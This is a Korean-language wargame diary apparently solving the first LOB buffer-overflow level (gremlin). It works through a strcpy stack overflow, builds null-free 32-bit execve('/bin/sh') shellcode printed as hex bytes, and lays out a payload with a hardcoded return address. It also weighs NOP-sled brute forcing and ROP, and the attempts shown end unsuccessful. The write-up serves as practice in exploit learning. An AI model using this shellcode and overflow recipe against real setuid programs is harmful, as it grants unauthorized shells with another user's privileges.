LOB 문제풀이 일기(1)
서론
Bof 1번째 문제. 코드를 보면 argv로 받아 strcpy로 buffer[256]에 넘겨준 후 출력한다.
-strcpy 함수가 크기를 물어보지 않고 문자열을 복사하는 취약점이 있는 것 을 이용한 문제로 인식. 함수 프롤로그에서 (32bit 환경) sfp[4]+ret[4] 이니깐 총 260의 dummy와 4byte의 쉘코드가 있는 주소를 입력해 주면 된다. pwnable에서는 bin/sh를 실행시키는 execve함수가 따로 존재 하였지만 없는 걸로는 봐서는 따로 쉘코드를 만들어 줘야 할것이다.
그전에 실제 32bit 확인 하기 위해서 getconf WORD_BIT 명령어 로 확인. -> 32bit
일단 쉘코드를 만들겠다.
쉘코드 제작
쉘코드에 제한사항은 딱히 안 보이니 ( 아스키로 만든다던가, 특정 레지스터가 제한이 있다던가 ) 우분투 64bit 16.04에서 nasm을 이용해서 제작 하겠다.
Nasm 사용법 Workstation pro에는 nasm이 안 깔려있으니 처음부터 설치 하겠다. $ sudo apt-get install nasm ->packge가 안깔린다. $ sudo apt-get update를 해주자. $ nasm –f elf64 –o test.o test.nasm $ ld –o test test.o $ ./test 그러나 32bit 환경의 쉘코드를 만들어야 한다. 64bit의 우분투에서 32bit 쉘코드를 만들기 위해서는 세팅이 필요하다. 먼저 32bit에서 사용하는 라이브러리를 설치한다. $ sudo apt-get install libc6-dev-i386 $ nasm –f elf32 test.nasm $ gcc –m32 test.o –o test 주의 : 32bit 환경에서는 section .text에서 _start로 global 하면 안되고 main으로 시작해야한다. |
Nams 기본 사용법을 익혔으니 이제 본격적으로 쉘코드를 만들어 보자.
int main(){ execve(“/bin/sh”,0x0,0x0); } |
쉘을 실행시키는 간단한 c언어 소스이다. 프로그램의 실행권한이 gremli한테 있으므로 프로그램 실행상태에서 쉘을 실행시키며 소유자권한을 가진 쉘을 따올 수 있다.
$ gcc –m32 –c –g t2.c
$ objdump –d –S t2.o
objdump로 어셈블리 명령어를 추출한다.
( 워크스테이션 프로가 cop/paste가 안된다. ㅡ,ㅡ VM/Settings/Options/Guest Isolation에서 체크박스에 체크한다.)
$ objdump –d 목적파일.o
->at&t문법은 나에게 별로 익숙하지가 않다. 인텔문법으로 봐꿔주자.
$ objdump –M intel –d 목적파일.o
0: 8d 4c 24 04 lea ecx,[esp+0x4] 4: 83 e4 f0 and esp,0xfffffff0 7: ff 71 fc push DWORD PTR [ecx-0x4] a: 55 push ebp b: 89 e5 mov ebp,esp d: 51 push ecx e: 83 ec 04 sub esp,0x4 11: 83 ec 04 sub esp,0x4 14: 6a 00 push 0x0 16: 6a 00 push 0x0 18: 68 00 00 00 00 push 0x0 1d: e8 fc ff ff ff call 1e <main+0x1e> 22: 83 c4 10 add esp,0x10 25: b8 00 00 00 00 mov eax,0x0 2a: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4] 2d: c9 leave 2e: 8d 61 fc lea esp,[ecx-0x4] 31: c3 ret |
!!strcpy는 문자열 복사 함수라 00을 만나면 문자열의 끝으로 인식하고 종료해버린다.
00을 없애 줘야 한다.
? 그전에 push 0x0을 3번 해주는데 두번의 null을 넣어주는 건 이해가 되는데 마지막 인자도 0x0인건 이해가 안간다. Gdb로 확인 결과
0x0804840b <+0>: lea ecx,[esp+0x4] 0x0804840f <+4>: and esp,0xfffffff0 0x08048412 <+7>: push DWORD PTR [ecx-0x4] 0x08048415 <+10>: push ebp 0x08048416 <+11>: mov ebp,esp 0x08048418 <+13>: push ecx => 0x08048419 <+14>: sub esp,0x4 0x0804841c <+17>: sub esp,0x4 0x0804841f <+20>: push 0x0 0x08048421 <+22>: push 0x0 0x08048423 <+24>: push 0x80484c0 0x08048428 <+29>: call 0x80482f0 <execve@plt> 0x0804842d <+34>: add esp,0x10 0x08048430 <+37>: mov eax,0x0 0x08048435 <+42>: mov ecx,DWORD PTR [ebp-0x4] 0x08048438 <+45>: leave 0x08048439 <+46>: lea esp,[ecx-0x4] 0x0804843c <+49>: ret |
0x808484c0 을 인자를 넣는 것을 확인( “/bin/sh”의 주소값
Objdump로 목적어 파일만 띄었을 때 주소값이 안뜨거나 call함수명이 안뜨는 것은 심볼릭과 관련이 있는것으로 보인다. 목적어 파일이라 재배치가 필요한것으로 보이는데 정확한 이해는 현재로선 불가.
하여간 정확한 핵심코드는
0x0804841f <+20>: push 0x0 0x08048421 <+22>: push 0x0 0x08048423 <+24>: push 0x80484c0 0x08048428 <+29>: call 0x80482f0 <execve@plt> |
이부분 이다.
execve(“/bin/sh”,0,0) 에서 0,0을 차례로 넣어주고 “/bin/sh”의 문자열 주소를 넣어준후 syscall하는 것을 확인 할 수 있다.
nasm으로 어셈블리어를 직접 제작해보자. ( c언어로 굳이 확인할 필요가 있었을까? )
??? 내가 예전에 봤던 쉘코드 생성은 c언어 컴파일 에서 출발 했었다. 물론 순수하게 어셈블리어로 짤수도 있지만. 좀더 쉬운 방법을 찾아 보았다.
$ gcc –static –m32 –o test test.c
->static 옵션을 주어야 동적링킹( 위 소스에서 execve@plt로 동적링킹하는 것을 확인가능 )을 하지않고 정적 링킹을 할 수 있다. Execve의 어셈블리어를 확인가능 하다.
0x0806c741 <+1>: mov edx,DWORD PTR [esp+0x10] 0x0806c745 <+5>: mov ecx,DWORD PTR [esp+0xc] 0x0806c749 <+9>: mov ebx,DWORD PTR [esp+0x8] 0x0806c74d <+13>: mov eax,0xb 0x0806c752 <+18>: call DWORD PTR ds:0x80ea9f0 |
http://syscalls.kernelgrok.com/ 를 참조 execve를 호출하는 syscall 인자를 살펴보자.
0x0b |
char __user * |
char __user *__user * |
char __user *__user * |
- |
순서대로 eax ebx ecx edx에 인자를 담아서 syscall한다. Gdb로 디버깅 해보면 ebx에 “/bin/sh” 문자열이 들어 가는 것을 확인 할 수 있다.
section .data message: section .text global main main: push 0x0068732f push 0x6e69622f mov edx, 0 mov ecx, 0 mov ebx, esp mov eax, 0xb int 0x80 |
“/bin/sh”는 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 이므로
-리틀 엔디안
-스택은 주소가 거꾸로 증가
-32bit에서는 push에 4byte단위
즉 스택에 “/bin/sh” push후 ebx로 주소를 옮겨 준다. ( 주의: syscall은 32bite에서는 int 0x80, 64bit는 syscall로 명시 )
00000000 <main>: 0: 68 2f 73 68 00 push 0x68732f 5: 68 2f 62 69 6e push 0x6e69622f a: ba 00 00 00 00 mov edx,0x0 f: b9 00 00 00 00 mov ecx,0x0 14: 89 e3 mov ebx,esp 16: b8 0b 00 00 00 mov eax,0xb 1b: cd 80 int 0x80 |
Null 바이트 … 제거 해야 한다. xor혹은 쉬프트 명령어를 써서 제거 해보자.
00000000 <main>: 0: b8 2f 73 68 f0 mov eax,0xf068732f 5: c1 e0 04 shl eax,0x4 8: c1 e8 04 shr eax,0x4 b: 50 push eax c: 68 2f 62 69 6e push 0x6e69622f 11: 31 d2 xor edx,edx 13: 31 c9 xor ecx,ecx 15: 89 e3 mov ebx,esp 17: b8 0b f0 f0 f0 mov eax,0xf0f0f00b 1c: c1 e0 18 shl eax,0x18 1f: c1 e8 18 shr eax,0x18 22: cd 80 int 0x80 |
Xor , 쉬프트 연산자로 null을 제거 했다. ( 의외로 뇌를 소비한다. ㅡ,ㅡ )
총 36byte의 쉘코드 가 완성 되었다.!!
\xb8\x2f\x73\x68\xf0\xc1\xe0\x04\xc1\xe8\x04\x50\x68\x2f\x62\x69\x6e\x31\xd2\x31\xc9\x89\xe3\xb8\x0b\xf0\xf0\xf0\xc1\xe0\x18\xc1\xe8\x18\xcd\x80
익스플로잇
자 이제 공격을 해보자.
서론에서 확인 했듯이 공격 코드는 260byte의 더미와 4byte의 쉘코드 주소를 입력해주면 된다.
문제는 쉘코드를 어디에 보관 할것인가? Bss, 환경변수 등등이 있지만 현재로선 저런 방법을 나는 모른다.
1)dummy에 넣어준다.
그러나 더미는 스택에 있다. 스택의 주소를 파악해야 하는데 ASLR이 걸려 있으면 스택주소가 랜덤으로 변해서 알아내기가 불가능하다. ASLR이 걸려 있는지 확인해보자.
GDB로 두번 디버깅해서 esp확인 결과 변하지 않는다. ㄷㄷ ASLR이 안 걸려 있다. 더미에 쉘코드를 넣어주어도 무방 하겠다.
그전에 파이썬으로 쉘 명령어를 입력하는 법을 좀 익히자.
Import os Import sys x=”\x0x01\x02” os.system(x) |
이런식으로 입력해 주면 된다. 쉽죠잉?
자 최종 시나리오는
36byte의 쉘코드 + 224byte의 더미코드 + 4byte의 쉘코드 주소
\xb8\x2f\x73\x68\xf0\xc1\xe0\x04\xc1\xe8\x04\x50\x68\x2f\x62\x69\x6e\x31\xd2\x31\xc9\x89\xe3\xb8\x0b\xf0\xf0\xf0\xc1\xe0\x18\xc1\xe8\x18\xcd\x80
\x0a*224
\xbffffa88 or \xbffffa84
안된다. ㅡ,ㅡ
왜?
- 쉘코드가 틀렸다.? -> 어셈블이 실행되는 것을 확인 했으니 아닐 듯. 64bit의 환경에서 테스트 했으나 32bit기준으로 만들 었으므로 이것도 아니고.
- 256byte dummy+ 4byte sfp + 4byte ret 가 틀렸다? 스택 구조상 sfp, ret가 틀릴리는 없고 스택아머가 적용됬을수 도 있겠으나 ASLR도 안걸려 있는데.. 메모리보호 기법이 더 적용이 되었을까?
- Dummy에 넣는 쉘코드가 변형이 되었다? 이건 디버깅으로 확인 해볼 필요성이 있다.
- Ret에 넣는 주소값이 틀렸다? 이것도 디버깅으로 정확히 확인 필요
사실 esp위치를 정확히 확인 안하고 야매로 시도해보았다. 대충 esp위치를 때려 맞춰서 집어 넣거나 쉘코드 이전에 nop를 많이 넣어줘서 확률적으로 쉘코드를 접근 하게 하거나 해봤지만 다 실패 ㅡ,ㅡ
- 정확한 디버깅이 요구된다.
정확한 디버깅을 위해 gdb후 r을 실행해 봤지만 권한문제로 실행이 안된다. 기존에 디버깅 이 됬던이유는 gcc –o gremlin gremlin.c 로 재 컴파일 해서 그런 거 같다. ;;
아무래도 현재 사용자가 쓰기 권한이 존재 하지 않으면 디버깅도 안되는 것 으로 판명된다.
애초에 디버깅이 안되면 ASLR은 생각해볼것도 없이 ESP를 알 수가 없다.
다른 방법을 생각해보자.
- 256byte로 비교적 넓은 더미코드를 넣어야 하니 nop를 무진장 넣고 대충 esp를 때려 맞춘다. -> python으로 for문을 돌려서 떄려 박아보자. 무식하긴하나 나쁘진 않다.
- .text섹션의 명령어 주소를 알고 있으니 적절히 조합해서 공격한다. > rop기법 조각들을 모아서 명령어 실행을 하는 방법. 학습은 해뒀으나 사용하기 여간 까다로운게 아니다.
첫번째 시도 python코드로 무차별 떄려 찍기 (브루트 포스?)
Python으로 떄려 박아 봤으나 실패… -> 좀더 많은 범위를 찍어 볼 필요가 있다.
혹은 python 코드 자체가 잘못됬을수도 “\x01”이나 hex(x) char(x) str(x) 형변환에 대해 좀 더 정확히 알 필요가 있다.
두번째 시도 rop
0x8048482에 보면 leave하고 ret하는 명령어를 볼 수 있는데 탐스럽게? 생겼다.
Leave mov esp, ebp pop ebp Ret pop eip jmp eip |
Leave + ret는 함수의 에필로그 ebp를 기존 ebp(sfp)로 옮기고 esp를 정리하는 단계라 볼 수 있다.
자 머리를 열심히 굴려보자
원래 상태라면
buf 256 |
Sfp |
Ret |
~ |
~ |
~ |
이전 sfp |
Leave + ret 명령어 완료 직후 상태의 스택
즉 sfp의 주소를 조작하면 원하는 명령어주소를 eip에 넣을수 있다. 근데 sfp 또한 스택의 특정 주소를 알아야 되는건 아까랑 마찬가지다. ㅡ ,ㅡ
다른 쓸만한 명령어를 찾아보자.
………….없다. 애초에 ret 명령어를 거쳐야 eip가 변하기 떄문에 ret기준으로 쓸만한 명령어 코드가 안보인다.
세번째 시도 다른 방법을 찾자! 스택 주소를 찾아보자
어림짐작 으로 라도 좋으니 스택주소를 알아내 보자.
웃기게도 gcc –o grem2 gremlin.c로 현재:권한으로 컴파일 해서 동적 디버깅을 할 수 있다. (아까도 했던짓 같은데..) sub $0x100, %esp 직후( char a[256]을 위해 확장 ) esp값이 0xbffffa88인거을 확인.
근데 아까도 시도한 방법. 될리 가 없징